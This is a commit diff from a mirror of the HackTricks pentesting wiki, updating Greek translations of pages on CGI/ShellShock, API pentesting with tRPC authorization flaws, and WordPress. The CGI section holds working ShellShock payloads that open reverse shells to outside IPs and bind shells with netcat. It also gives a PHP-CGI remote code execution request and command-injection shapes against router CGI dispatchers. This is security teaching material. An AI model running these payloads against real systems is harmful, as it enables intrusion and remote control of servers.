mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['', 'src/network-services-pentesting/pentesting-web/cgi.md',
This commit is contained in:
parent
316683a49d
commit
2b92522422
Binary file not shown.
Before Width: | Height: | Size: 6.5 KiB |
BIN
src/images/k8studio.png
Normal file
BIN
src/images/k8studio.png
Normal file
Binary file not shown.
After Width: | Height: | Size: 87 KiB |
File diff suppressed because it is too large
Load Diff
@ -3,28 +3,28 @@
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
## Πληροφορίες
|
||||
## Information
|
||||
|
||||
Τα **CGI scripts είναι perl scripts**, οπότε, αν έχετε συμβιβάσει έναν server που μπορεί να εκτελέσει _**.cgi**_ scripts μπορείτε να **ανεβάσετε ένα perl reverse shell** \(`/usr/share/webshells/perl/perl-reverse-shell.pl`\), **αλλάξετε την επέκταση** από **.pl** σε **.cgi**, δώσετε **δικαιώματα εκτέλεσης** \(`chmod +x`\) και **πρόσβαση** στο reverse shell **από τον web browser** για να το εκτελέσετε.
|
||||
Για να ελέγξετε για **CGI vulns** συνιστάται η χρήση `nikto -C all` \(και όλα τα plugins\)
|
||||
Οι **CGI scripts are perl scripts**, επομένως, αν έχετε παραβιάσει έναν διακομιστή που μπορεί να εκτελεί _**.cgi**_ scripts μπορείτε να **upload a perl reverse shell** \(`/usr/share/webshells/perl/perl-reverse-shell.pl`\), να **change the extension** από **.pl** σε **.cgi**, να δώσετε **execute permissions** \(`chmod +x`\) και να **access** το reverse shell **from the web browser** για να το εκτελέσετε.
|
||||
Για να δοκιμάσετε για **CGI vulns** συνιστάται να χρησιμοποιήσετε `nikto -C all` \(και όλα τα plugins\)
|
||||
|
||||
## **ShellShock**
|
||||
|
||||
**ShellShock** είναι μια **ευπάθεια** που επηρεάζει το ευρέως χρησιμοποιούμενο κέλυφος γραμμής εντολών **Bash** σε Unix-based λειτουργικά συστήματα. Στοχεύει την ικανότητα του Bash να τρέχει εντολές που του περνάνε εφαρμογές. Η ευπάθεια εντοπίζεται στη χειραγώγηση των **μεταβλητών περιβάλλοντος (environment variables)**, που είναι δυναμικές ονομαστικές τιμές που επηρεάζουν τον τρόπο εκτέλεσης διεργασιών σε έναν υπολογιστή. Οι επιτιθέμενοι μπορούν να εκμεταλλευτούν αυτό προσθέτοντας **κακόβουλο κώδικα** σε environment variables, ο οποίος εκτελείται όταν η μεταβλητή λαμβάνεται. Αυτό επιτρέπει σε επιτιθέμενους να ενδεχομένως συμβιβάσουν το σύστημα.
|
||||
Το **ShellShock** είναι μια ευπάθεια που επηρεάζει το ευρέως χρησιμοποιούμενο κέλυφος εντολών **Bash** σε λειτουργικά συστήματα βασισμένα σε Unix. Στοχεύει την ικανότητα της **Bash** να εκτελεί εντολές που της περνάνε εφαρμογές. Η ευπάθεια εντοπίζεται στη χειραγώγηση των μεταβλητών περιβάλλοντος, οι οποίες είναι δυναμικά ονομασμένες τιμές που επηρεάζουν το πώς τρέχουν οι διεργασίες σε έναν υπολογιστή. Οι επιτιθέμενοι μπορούν να εκμεταλλευτούν αυτό προσαρτώντας **malicious code** σε μεταβλητές περιβάλλοντος, το οποίο εκτελείται όταν η μεταβλητή ληφθεί. Αυτό μπορεί να επιτρέψει σε επιτιθέμενους να παραβιάσουν το σύστημα.
|
||||
|
||||
Εκμεταλλευόμενη αυτή την ευπάθεια η **σελίδα μπορεί να εμφανίσει σφάλμα**.
|
||||
Εκμεταλλευόμενη αυτή την ευπάθεια, η σελίδα μπορεί να εμφανίσει σφάλμα.
|
||||
|
||||
Μπορείτε να **εντοπίσετε** αυτή την ευπάθεια παρατηρώντας ότι χρησιμοποιεί μια **παλιά έκδοση Apache** και **cgi_mod** \(με φάκελο cgi\) ή χρησιμοποιώντας **nikto**.
|
||||
Μπορείτε να βρείτε αυτή την ευπάθεια παρατηρώντας ότι χρησιμοποιεί μια παλιά έκδοση του **Apache** και **cgi_mod** \(με φάκελο cgi\) ή χρησιμοποιώντας **nikto**.
|
||||
|
||||
### **Δοκιμή**
|
||||
|
||||
Οι περισσότερες δοκιμές βασίζονται στο echo κάποιου κειμένου και αναμένουν ότι αυτή η συμβολοσειρά θα επιστραφεί στην web απάντηση. Αν νομίζετε ότι μια σελίδα μπορεί να είναι ευάλωτη, αναζητήστε όλες τις cgi σελίδες και δοκιμάστε τις.
|
||||
Οι περισσότερες δοκιμές βασίζονται στο να echo-άρετε κάτι και να αναμένετε ότι αυτή η συμβολοσειρά θα επιστραφεί στην απάντηση του web. Εάν νομίζετε ότι μια σελίδα μπορεί να είναι ευάλωτη, εντοπίστε όλες τις cgi σελίδες και δοκιμάστε τις.
|
||||
|
||||
**Nmap**
|
||||
```bash
|
||||
nmap 10.2.1.31 -p 80 --script=http-shellshock --script-args uri=/cgi-bin/admin.cgi
|
||||
```
|
||||
## **Curl \(reflected, blind and out-of-band\)**
|
||||
## **Curl \(ανακλώμενο, τυφλό και εκτός-ζώνης\)**
|
||||
```bash
|
||||
# Reflected
|
||||
curl -H 'User-Agent: () { :; }; echo "VULNERABLE TO SHELLSHOCK"' http://10.1.2.32/cgi-bin/admin.cgi 2>/dev/null| grep 'VULNERABLE'
|
||||
@ -37,7 +37,7 @@ curl -H 'Cookie: () { :;}; /bin/bash -i >& /dev/tcp/10.10.10.10/4242 0>&1' http:
|
||||
```bash
|
||||
python shellshocker.py http://10.11.1.71/cgi-bin/admin.cgi
|
||||
```
|
||||
### Exploit
|
||||
### Εκμετάλλευση
|
||||
```bash
|
||||
#Bind Shell
|
||||
$ echo -e "HEAD /cgi-bin/status HTTP/1.1\r\nUser-Agent: () { :;}; /usr/bin/nc -l -p 9999 -e /bin/sh\r\nHost: vulnerable\r\nConnection: close\r\n\r\n" | nc vulnerable 8
|
||||
@ -51,17 +51,17 @@ curl -H 'User-Agent: () { :; }; /bin/bash -i >& /dev/tcp/10.11.0.41/80 0>&1' htt
|
||||
> set rhosts 10.1.2.11
|
||||
> run
|
||||
```
|
||||
## Κεντροποιημένοι CGI dispatchers (δρομολόγηση ενός μοναδικού endpoint μέσω παραμέτρων επιλογέα)
|
||||
## Κεντρικοί CGI dispatchers (single endpoint routing via selector parameters)
|
||||
|
||||
Πολλές ενσωματωμένες web UIs πολυπλέκουν δεκάδες προνομιούχες ενέργειες πίσω από ένα μοναδικό CGI endpoint (π.χ. `/cgi-bin/cstecgi.cgi`) και χρησιμοποιούν παράμετρο επιλογέα όπως `topicurl=<handler>` για να δρομολογήσουν το αίτημα σε μια εσωτερική συνάρτηση.
|
||||
Πολλά embedded web UIs διαχειρίζονται δεκάδες privileged actions πίσω από ένα μόνο CGI endpoint (για παράδειγμα, `/cgi-bin/cstecgi.cgi`) και χρησιμοποιούν έναν selector parameter όπως `topicurl=<handler>` για να δρομολογήσουν το αίτημα σε μια εσωτερική λειτουργία.
|
||||
|
||||
Μεθοδολογία για την εκμετάλλευση αυτών των δρομολογητών:
|
||||
Methodology to exploit these routers:
|
||||
|
||||
- Enumerate handler names: scrape JS/HTML, brute-force with wordlists, or unpack firmware and grep for handler strings used by the dispatcher.
|
||||
- Test unauthenticated reachability: some handlers forget auth checks and are directly callable.
|
||||
- Focus on handlers that invoke system utilities or touch files; weak validators often only block a few characters and might miss the leading hyphen `-`.
|
||||
- Εντοπίστε handler names: scrape JS/HTML, brute-force with wordlists, or unpack firmware and grep for handler strings used by the dispatcher.
|
||||
- Test unauthenticated reachability: μερικοί handlers ξεχνούν τα auth checks και είναι απευθείας callable.
|
||||
- Επικεντρωθείτε σε handlers που invoke system utilities ή touch files· αδύναμοι validators συχνά μπλοκάρουν μόνο λίγους χαρακτήρες και μπορεί να παραβλέψουν το leading hyphen `-`.
|
||||
|
||||
Γενικά σχήματα exploit:
|
||||
Generic exploit shapes:
|
||||
```http
|
||||
POST /cgi-bin/cstecgi.cgi HTTP/1.1
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
@ -75,32 +75,32 @@ topicurl=setEasyMeshAgentCfg&agentName=;id;
|
||||
# 3) Validator bypass → arbitrary file write in file-touching handlers
|
||||
topicurl=setWizardCfg&<crafted_fields>=/etc/init.d/S99rc
|
||||
```
|
||||
Εντοπισμός και θωράκιση:
|
||||
Ανίχνευση και θωράκιση:
|
||||
|
||||
- Παρακολουθήστε για μη-εξουσιοδοτημένα αιτήματα προς κεντρικά CGI endpoints με `topicurl` ρυθμισμένο σε ευαίσθητους handlers.
|
||||
- Σημαδέψτε παραμέτρους που ξεκινούν με `-` (argv option injection attempts).
|
||||
- Vendors: επιβάλετε authentication σε όλους τους state-changing handlers, επικυρώστε με αυστηρές allowlists/types/lengths, και μην περνάτε ποτέ user-controlled strings ως command-line flags.
|
||||
- Πρόσεχε μη αυθεντικοποιημένα αιτήματα προς κεντρικά CGI endpoints με `topicurl` ρυθμισμένο σε ευαίσθητους handlers.
|
||||
- Επισήμανε παραμέτρους που ξεκινούν με `-` (προσπάθειες argv option injection).
|
||||
- Προμηθευτές: επιβάλετε αυθεντικοποίηση σε όλους τους state-changing handlers, επικυρώστε χρησιμοποιώντας αυστηρές allowlists/τύπους/μήκη, και μην περνάτε ποτέ user-controlled strings ως command-line flags.
|
||||
|
||||
## Παλιό PHP + CGI = RCE \(CVE-2012-1823, CVE-2012-2311\)
|
||||
## Old PHP + CGI = RCE \(CVE-2012-1823, CVE-2012-2311\)
|
||||
|
||||
Βασικά, αν cgi είναι ενεργό και php είναι "old" \(<5.3.12 / < 5.4.2\) μπορείτε να εκτελέσετε κώδικα.
|
||||
Για να εκμεταλλευτείτε αυτή την ευπάθεια πρέπει να αποκτήσετε πρόσβαση σε κάποιο PHP αρχείο του web server χωρίς να στείλετε παραμέτρους \(ειδικά χωρίς να στείλετε τον χαρακτήρα "="\).
|
||||
Για να δοκιμάσετε αυτή την ευπάθεια, μπορείτε να προσπελάσετε για παράδειγμα `/index.php?-s` \(σημειώστε το `-s`\) και **ο source code της εφαρμογής θα εμφανιστεί στην απάντηση**.
|
||||
Βασικά, εάν cgi είναι ενεργό και php είναι "παλιό" \(<5.3.12 / < 5.4.2\) μπορείτε να εκτελέσετε κώδικα.
|
||||
Για να εκμεταλλευτείτε αυτήν την ευπάθεια πρέπει να αποκτήσετε πρόσβαση σε κάποιο PHP αρχείο του web server χωρίς να στείλετε παραμέτρους \(ειδικά χωρίς να στείλετε τον χαρακτήρα "="\).
|
||||
Στη συνέχεια, για να δοκιμάσετε αυτή την ευπάθεια, μπορείτε να προσπελάσετε για παράδειγμα `/index.php?-s` \(προσέξτε το `-s`\) και **ο πηγαίος κώδικας της εφαρμογής θα εμφανιστεί στην απάντηση**.
|
||||
|
||||
Στη συνέχεια, για να αποκτήσετε **RCE** μπορείτε να στείλετε το ειδικό ερώτημα: `/?-d allow_url_include=1 -d auto_prepend_file=php://input` και ο **PHP code** που θα εκτελεστεί στο **body του αιτήματος**.
|
||||
Στη συνέχεια, για να αποκτήσετε **RCE** μπορείτε να στείλετε το ειδικό query: `/?-d allow_url_include=1 -d auto_prepend_file=php://input` και ο **PHP κώδικας** να εκτελεστεί στο **σώμα του αιτήματος**.
|
||||
Παράδειγμα:
|
||||
```bash
|
||||
curl -i --data-binary "<?php system(\"cat /flag.txt \") ?>" "http://jh2i.com:50008/?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input"
|
||||
```
|
||||
**Περισσότερες πληροφορίες για το vuln και πιθανές exploits:** [**https://www.zero-day.cz/database/337/**](https://www.zero-day.cz/database/337/)**,** [**cve-2012-1823**](https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2012-1823)**,** [**cve-2012-2311**](https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2012-2311)**,** [**CTF Writeup Example**](https://github.com/W3rni0/HacktivityCon_CTF_2020#gi-joe)**.**
|
||||
**Περισσότερες πληροφορίες σχετικά με το vuln και πιθανές exploits:** [**https://www.zero-day.cz/database/337/**](https://www.zero-day.cz/database/337/)**,** [**cve-2012-1823**](https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2012-1823)**,** [**cve-2012-2311**](https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2012-2311)**,** [**CTF Writeup Example**](https://github.com/W3rni0/HacktivityCon_CTF_2020#gi-joe)**.**
|
||||
|
||||
## **Proxy \(MitM to Web server requests\)**
|
||||
|
||||
Το CGI δημιουργεί μια environment variable για κάθε header στο http request. Για παράδειγμα: "host:web.com" δημιουργείται ως "HTTP_HOST"="web.com"
|
||||
Το CGI δημιουργεί μια μεταβλητή περιβάλλοντος για κάθε header στο HTTP request. Για παράδειγμα: "host:web.com" δημιουργείται ως "HTTP_HOST"="web.com"
|
||||
|
||||
Καθώς η μεταβλητή HTTP_PROXY μπορεί να χρησιμοποιηθεί από τον web server, δοκιμάστε να στείλετε ένα **header** που περιέχει: "**Proxy: <IP_attacker>:<PORT>**". Αν ο server πραγματοποιήσει κάποια αίτηση κατά τη διάρκεια της συνεδρίας, θα μπορείτε να καταγράψετε κάθε αίτηση που κάνει ο server.
|
||||
Εφόσον η μεταβλητή HTTP_PROXY μπορεί να χρησιμοποιηθεί από τον web server, δοκιμάστε να στείλετε ένα **header** που περιέχει: "**Proxy: <IP_attacker>:<PORT>**" — αν ο server πραγματοποιήσει κάποιο request κατά τη διάρκεια της συνεδρίας, θα μπορέσετε να καταγράψετε κάθε request που κάνει ο server.
|
||||
|
||||
## **Αναφορές**
|
||||
## **References**
|
||||
|
||||
- [Unit 42 – TOTOLINK X6000R: Three New Vulnerabilities Uncovered](https://unit42.paloaltonetworks.com/totolink-x6000r-vulnerabilities/)
|
||||
|
||||
|
@ -2,54 +2,96 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## API Pentesting Methodology Summary
|
||||
## Περίληψη Μεθοδολογίας API Pentesting
|
||||
|
||||
Η δοκιμή διείσδυσης APIs περιλαμβάνει μια δομημένη προσέγγιση για την αποκάλυψη ευπαθειών. Αυτός ο οδηγός συνοψίζει μια ολοκληρωμένη μεθοδολογία, τονίζοντας πρακτικές τεχνικές και εργαλεία.
|
||||
Το pentesting των APIs απαιτεί μια δομημένη προσέγγιση για την ανίχνευση ευπαθειών. Αυτός ο οδηγός συνοψίζει μια ολοκληρωμένη μεθοδολογία, δίνοντας έμφαση σε πρακτικές τεχνικές και εργαλεία.
|
||||
|
||||
### **Understanding API Types**
|
||||
### **Κατανόηση των τύπων API**
|
||||
|
||||
- **SOAP/XML Web Services**: Χρησιμοποιούν τη μορφή WSDL για τεκμηρίωση, που συνήθως βρίσκεται σε διαδρομές `?wsdl`. Εργαλεία όπως το **SOAPUI** και το **WSDLer** (Burp Suite Extension) είναι καθοριστικά για την ανάλυση και τη δημιουργία αιτημάτων. Παράδειγμα τεκμηρίωσης είναι διαθέσιμο στο [DNE Online](http://www.dneonline.com/calculator.asmx).
|
||||
- **REST APIs (JSON)**: Η τεκμηρίωση συχνά έρχεται σε αρχεία WADL, ωστόσο εργαλεία όπως το [Swagger UI](https://swagger.io/tools/swagger-ui/) παρέχουν μια πιο φιλική προς το χρήστη διεπαφή για αλληλεπίδραση. Το **Postman** είναι ένα πολύτιμο εργαλείο για τη δημιουργία και τη διαχείριση παραδειγματικών αιτημάτων.
|
||||
- **GraphQL**: Μια γλώσσα ερωτήσεων για APIs που προσφέρει μια πλήρη και κατανοητή περιγραφή των δεδομένων στο API σας.
|
||||
- **SOAP/XML Web Services**: Χρησιμοποιούν τη μορφή WSDL για τεκμηρίωση, συνήθως βρίσκονται σε διαδρομές `?wsdl`. Εργαλεία όπως **SOAPUI** και **WSDLer** (Burp Suite Extension) είναι χρήσιμα για parsing και δημιουργία requests. Παράδειγμα τεκμηρίωσης είναι διαθέσιμο στο [DNE Online](http://www.dneonline.com/calculator.asmx).
|
||||
- **REST APIs (JSON)**: Η τεκμηρίωση συχνά παρέχεται σε αρχεία WADL, αλλά εργαλεία όπως [Swagger UI](https://swagger.io/tools/swagger-ui/) προσφέρουν πιο φιλική διεπαφή για αλληλεπίδραση. **Postman** είναι ένα πολύτιμο εργαλείο για τη δημιουργία και διαχείριση παραδειγματικών requests.
|
||||
- **GraphQL**: Μια γλώσσα ερωτημάτων για APIs που προσφέρει μια πλήρη και κατανοητή περιγραφή των δεδομένων στο API σας.
|
||||
|
||||
### **Practice Labs**
|
||||
|
||||
- [**VAmPI**](https://github.com/erev0s/VAmPI): Ένα σκόπιμα ευάλωτο API για πρακτική εξάσκηση, καλύπτοντας τις 10 κορυφαίες ευπάθειες API του OWASP.
|
||||
- [**VAmPI**](https://github.com/erev0s/VAmPI): Ένα σκόπιμα ευάλωτο API για πρακτική άσκηση, που καλύπτει τα OWASP top 10 API vulnerabilities.
|
||||
|
||||
### **Effective Tricks for API Pentesting**
|
||||
### **Αποτελεσματικά κόλπα για API Pentesting**
|
||||
|
||||
- **SOAP/XML Vulnerabilities**: Εξερευνήστε τις ευπάθειες XXE, αν και οι δηλώσεις DTD συχνά περιορίζονται. Οι ετικέτες CDATA μπορεί να επιτρέπουν την εισαγωγή payload αν το XML παραμείνει έγκυρο.
|
||||
- **Privilege Escalation**: Δοκιμάστε τα endpoints με διαφορετικά επίπεδα προνομίων για να εντοπίσετε πιθανότητες μη εξουσιοδοτημένης πρόσβασης.
|
||||
- **CORS Misconfigurations**: Εξετάστε τις ρυθμίσεις CORS για πιθανή εκμετάλλευση μέσω επιθέσεων CSRF από αυθεντικοποιημένες συνεδρίες.
|
||||
- **Endpoint Discovery**: Εκμεταλλευτείτε τα πρότυπα API για να ανακαλύψετε κρυφά endpoints. Εργαλεία όπως οι fuzzers μπορούν να αυτοματοποιήσουν αυτή τη διαδικασία.
|
||||
- **Parameter Tampering**: Πειραματιστείτε με την προσθήκη ή την αντικατάσταση παραμέτρων σε αιτήματα για να αποκτήσετε μη εξουσιοδοτημένα δεδομένα ή λειτουργίες.
|
||||
- **HTTP Method Testing**: Διαφοροποιήστε τις μεθόδους αιτημάτων (GET, POST, PUT, DELETE, PATCH) για να αποκαλύψετε απροσδόκητες συμπεριφορές ή αποκαλύψεις πληροφοριών.
|
||||
- **Content-Type Manipulation**: Εναλλάξτε μεταξύ διαφορετικών τύπων περιεχομένου (x-www-form-urlencoded, application/xml, application/json) για να δοκιμάσετε ζητήματα ανάλυσης ή ευπάθειες.
|
||||
- **Advanced Parameter Techniques**: Δοκιμάστε με απροσδόκητους τύπους δεδομένων σε JSON payloads ή πειραματιστείτε με XML δεδομένα για XXE injections. Δοκιμάστε επίσης την ρύπανση παραμέτρων και χαρακτήρες wildcard για ευρύτερη δοκιμή.
|
||||
- **Version Testing**: Παλαιότερες εκδόσεις API μπορεί να είναι πιο ευάλωτες σε επιθέσεις. Ελέγξτε πάντα και δοκιμάστε σε πολλές εκδόσεις API.
|
||||
- **SOAP/XML Vulnerabilities**: Εξετάστε XXE ευπάθειες, αν και δηλώσεις DTD συχνά περιορίζονται. Τα tags CDATA μπορεί να επιτρέψουν εισαγωγή payload εφόσον το XML παραμένει έγκυρο.
|
||||
- **Privilege Escalation**: Δοκιμάστε endpoints με διαφορετικά επίπεδα προνομίων για να εντοπίσετε πιθανότητες μη εξουσιοδοτημένης πρόσβασης.
|
||||
- **CORS Misconfigurations**: Εξετάστε τις ρυθμίσεις CORS για πιθανή εκμεταλλευσιμότητα μέσω CSRF επιθέσεων από authenticated συνεδρίες.
|
||||
- **Endpoint Discovery**: Εκμεταλλευτείτε μοτίβα API για να ανακαλύψετε κρυμμένα endpoints. Εργαλεία όπως fuzzers μπορούν να αυτοματοποιήσουν αυτή τη διαδικασία.
|
||||
- **Parameter Tampering**: Πειραματιστείτε με την προσθήκη ή αντικατάσταση παραμέτρων σε requests για πρόσβαση σε μη εξουσιοδοτημένα δεδομένα ή λειτουργίες.
|
||||
- **HTTP Method Testing**: Διαφοροποιήστε τις μεθόδους request (GET, POST, PUT, DELETE, PATCH) για να αποκαλύψετε απροσδόκητες συμπεριφορές ή διαρροές πληροφοριών.
|
||||
- **Content-Type Manipulation**: Αλλάξτε μεταξύ διαφορετικών content types (x-www-form-urlencoded, application/xml, application/json) για να δοκιμάσετε προβλήματα parsing ή ευπάθειες.
|
||||
- **Advanced Parameter Techniques**: Δοκιμάστε απροσδόκητους τύπους δεδομένων σε JSON payloads ή πειράξτε XML δεδομένα για XXE injections. Δοκιμάστε επίσης parameter pollution και wildcard χαρακτήρες για ευρύτερους ελέγχους.
|
||||
- **Version Testing**: Παλιά API versions μπορεί να είναι πιο ευάλωτες σε επιθέσεις. Ελέγχετε πάντα και δοκιμάζετε πολλαπλές εκδόσεις API.
|
||||
|
||||
### **Tools and Resources for API Pentesting**
|
||||
### Authorization & Business Logic (AuthN != AuthZ) — tRPC/Zod protectedProcedure pitfalls
|
||||
|
||||
- [**kiterunner**](https://github.com/assetnote/kiterunner): Εξαιρετικό για την ανακάλυψη API endpoints. Χρησιμοποιήστε το για να σαρώσετε και να κάνετε brute force διαδρομές και παραμέτρους κατά των στοχευμένων APIs.
|
||||
Modern TypeScript stacks commonly use tRPC with Zod for input validation. In tRPC, `protectedProcedure` typically ensures the request has a valid session (authentication) but does not imply the caller has the right role/permissions (authorization). This mismatch leads to Broken Function Level Authorization/BOLA if sensitive procedures are only gated by `protectedProcedure`.
|
||||
|
||||
- Threat model: Any low-privileged authenticated user can call admin-grade procedures if role checks are missing (e.g., background migrations, feature flags, tenant-wide maintenance, job control).
|
||||
- Black-box signal: `POST /api/trpc/<router>.<procedure>` endpoints that succeed for basic accounts when they should be admin-only. Self-serve signups drastically increase exploitability.
|
||||
- Typical tRPC route shape (v10+): JSON body wrapped under `{"input": {...}}`.
|
||||
|
||||
Παράδειγμα ευάλωτου μοτίβου (χωρίς έλεγχο ρόλου/άδειας):
|
||||
```ts
|
||||
// The endpoint for retrying a migration job
|
||||
// This checks for a valid session (authentication)
|
||||
retry: protectedProcedure
|
||||
// but not for an admin role (authorization).
|
||||
.input(z.object({ name: z.string() }))
|
||||
.mutation(async ({ input, ctx }) => {
|
||||
// Logic to restart a sensitive migration
|
||||
}),
|
||||
```
|
||||
Πρακτική εκμετάλλευση (black-box)
|
||||
|
||||
1) Δημιουργήστε έναν κανονικό λογαριασμό και αποκτήστε μια πιστοποιημένη συνεδρία (cookies/headers).
|
||||
2) Απαριθμήστε εργασίες παρασκηνίου ή άλλους ευαίσθητους πόρους μέσω διαδικασιών “list”/“all”/“status”.
|
||||
```bash
|
||||
curl -s -X POST 'https://<tenant>/api/trpc/backgroundMigrations.all' \
|
||||
-H 'Content-Type: application/json' \
|
||||
-b '<AUTH_COOKIES>' \
|
||||
--data '{"input":{}}'
|
||||
```
|
||||
3) Εκτέλεση προνομιούχων ενεργειών όπως η επανεκκίνηση μιας εργασίας:
|
||||
```bash
|
||||
curl -s -X POST 'https://<tenant>/api/trpc/backgroundMigrations.retry' \
|
||||
-H 'Content-Type: application/json' \
|
||||
-b '<AUTH_COOKIES>' \
|
||||
--data '{"input":{"name":"<migration_name>"}}'
|
||||
```
|
||||
Επιπτώσεις προς αξιολόγηση
|
||||
|
||||
- Διαφθορά δεδομένων μέσω non-idempotent restarts: Ο εξαναγκασμός ταυτόχρονων εκτελέσεων migrations/workers μπορεί να δημιουργήσει race conditions και ασυνεπείς μερικές καταστάσεις (σιωπηλή απώλεια δεδομένων, προβλήματα στα analytics).
|
||||
- DoS via worker/DB starvation: Η επαναλαμβανόμενη ενεργοποίηση βαριών εργασιών μπορεί να εξαντλήσει worker pools και database connections, προκαλώντας tenant-wide outages.
|
||||
|
||||
### **Εργαλεία και Πόροι για API Pentesting**
|
||||
|
||||
- [**kiterunner**](https://github.com/assetnote/kiterunner): Εξαιρετικό για την ανακάλυψη API endpoints. Χρησιμοποιήστε το για να scan και brute force paths και parameters ενάντια σε target APIs.
|
||||
```bash
|
||||
kr scan https://domain.com/api/ -w routes-large.kite -x 20
|
||||
kr scan https://domain.com/api/ -A=apiroutes-220828 -x 20
|
||||
kr brute https://domain.com/api/ -A=raft-large-words -x 20 -d=0
|
||||
kr brute https://domain.com/api/ -w /tmp/lang-english.txt -x 20 -d=0
|
||||
```
|
||||
- [**https://github.com/BishopFox/sj**](https://github.com/BishopFox/sj): το sj είναι ένα εργαλείο γραμμής εντολών σχεδιασμένο να βοηθά στην επιθεώρηση των **εκτεθειμένων αρχείων ορισμού Swagger/OpenAPI** ελέγχοντας τα σχετικά API endpoints για αδύνατη αυθεντικοποίηση. Παρέχει επίσης πρότυπα εντολών για χειροκίνητη δοκιμή ευπαθειών.
|
||||
- Πρόσθετα εργαλεία όπως το **automatic-api-attack-tool**, **Astra** και **restler-fuzzer** προσφέρουν προσαρμοσμένες λειτουργίες για τη δοκιμή ασφάλειας API, που κυμαίνονται από προσομοίωση επιθέσεων έως fuzzing και σάρωση ευπαθειών.
|
||||
- [**Cherrybomb**](https://github.com/blst-security/cherrybomb): Είναι ένα εργαλείο ασφάλειας API που ελέγχει το API σας με βάση ένα αρχείο OAS (το εργαλείο είναι γραμμένο σε rust).
|
||||
- [**https://github.com/BishopFox/sj**](https://github.com/BishopFox/sj): Το sj είναι ένα εργαλείο command-line σχεδιασμένο να βοηθά στον έλεγχο (auditing) των **exposed Swagger/OpenAPI definition files** ελέγχοντας τα αντίστοιχα API endpoints για weak authentication. Παρέχει επίσης command templates για manual vulnerability testing.
|
||||
- Επιπλέον εργαλεία όπως **automatic-api-attack-tool**, **Astra**, και **restler-fuzzer** προσφέρουν εξειδικευμένες λειτουργίες για API security testing, από attack simulation έως fuzzing και vulnerability scanning.
|
||||
- [**Cherrybomb**](https://github.com/blst-security/cherrybomb): Είναι ένα API security tool που ελέγχει το API σας βάσει ενός OAS file (το εργαλείο είναι γραμμένο σε rust).
|
||||
|
||||
### **Πόροι Μάθησης και Πρακτικής**
|
||||
|
||||
- **OWASP API Security Top 10**: Βασική ανάγνωση για την κατανόηση κοινών ευπαθειών API ([OWASP Top 10](https://github.com/OWASP/API-Security/blob/master/2019/en/dist/owasp-api-security-top-10.pdf)).
|
||||
- **API Security Checklist**: Μια ολοκληρωμένη λίστα ελέγχου για την ασφάλιση των APIs ([GitHub link](https://github.com/shieldfy/API-Security-Checklist)).
|
||||
- **Logger++ Filters**: Για την αναζήτηση ευπαθειών API, το Logger++ προσφέρει χρήσιμα φίλτρα ([GitHub link](https://github.com/bnematzadeh/LoggerPlusPlus-API-Filters)).
|
||||
- **API Endpoints List**: Μια επιμελημένη λίστα πιθανών API endpoints για δοκιμαστικούς σκοπούς ([GitHub gist](https://gist.github.com/yassineaboukir/8e12adefbd505ef704674ad6ad48743d)).
|
||||
- **OWASP API Security Top 10**: Απαραίτητη ανάγνωση για την κατανόηση κοινών API vulnerabilities ([OWASP Top 10](https://github.com/OWASP/API-Security/blob/master/2019/en/dist/owasp-api-security-top-10.pdf)).
|
||||
- **API Security Checklist**: Μια ολοκληρωμένη λίστα ελέγχου για την ασφάλεια των APIs ([GitHub link](https://github.com/shieldfy/API-Security-Checklist)).
|
||||
- **Logger++ Filters**: Για εντοπισμό API vulnerabilities, το Logger++ προσφέρει χρήσιμα φίλτρα ([GitHub link](https://github.com/bnematzadeh/LoggerPlusPlus-API-Filters)).
|
||||
- **API Endpoints List**: Μια επιμελημένη λίστα πιθανών API endpoints για σκοπούς testing ([GitHub gist](https://gist.github.com/yassineaboukir/8e12adefbd505ef704674ad6ad48743d)).
|
||||
|
||||
## Αναφορές
|
||||
|
||||
- [https://github.com/Cyber-Guy1/API-SecurityEmpire](https://github.com/Cyber-Guy1/API-SecurityEmpire)
|
||||
- [How An Authorization Flaw Reveals A Common Security Blind Spot: CVE-2025-59305 Case Study](https://www.depthfirst.com/post/how-an-authorization-flaw-reveals-a-common-security-blind-spot-cve-2025-59305-case-study)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
@ -4,45 +4,45 @@
|
||||
|
||||
## Βασικές Πληροφορίες
|
||||
|
||||
- **Uploaded** αρχεία πηγαίνουν στο: `http://10.10.10.10/wp-content/uploads/2018/08/a.txt`
|
||||
- **Τα αρχεία των Themes μπορούν να βρεθούν στο /wp-content/themes/,** οπότε αν αλλάξετε κάποιο php του theme για να αποκτήσετε RCE πιθανότατα θα χρησιμοποιήσετε αυτό το path. Για παράδειγμα: Χρησιμοποιώντας **theme twentytwelve** μπορείτε να **έχετε πρόσβαση** στο αρχείο **404.php** στο: [**/wp-content/themes/twentytwelve/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
|
||||
- **Uploaded** files go to: `http://10.10.10.10/wp-content/uploads/2018/08/a.txt`
|
||||
- **Themes files can be found in /wp-content/themes/,** οπότε αν αλλάξετε κάποια php του theme για να πετύχετε RCE πιθανόν θα χρησιμοποιήσετε αυτό το path. Για παράδειγμα: Using **theme twentytwelve** you can **access** the **404.php** file in: [**/wp-content/themes/twentytwelve/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
|
||||
|
||||
- **Άλλο χρήσιμο url θα μπορούσε να είναι:** [**/wp-content/themes/default/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
|
||||
- **Another useful url could be:** [**/wp-content/themes/default/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
|
||||
|
||||
- Στο **wp-config.php** μπορείτε να βρείτε τον root κωδικό της βάσης δεδομένων.
|
||||
- Προεπιλεγμένες διαδρομές login προς έλεγχο: _**/wp-login.php, /wp-login/, /wp-admin/, /wp-admin.php, /login/**_
|
||||
- Στο **wp-config.php** μπορείτε να βρείτε το root password της βάσης δεδομένων.
|
||||
- Default login paths to check: _**/wp-login.php, /wp-login/, /wp-admin/, /wp-admin.php, /login/**_
|
||||
|
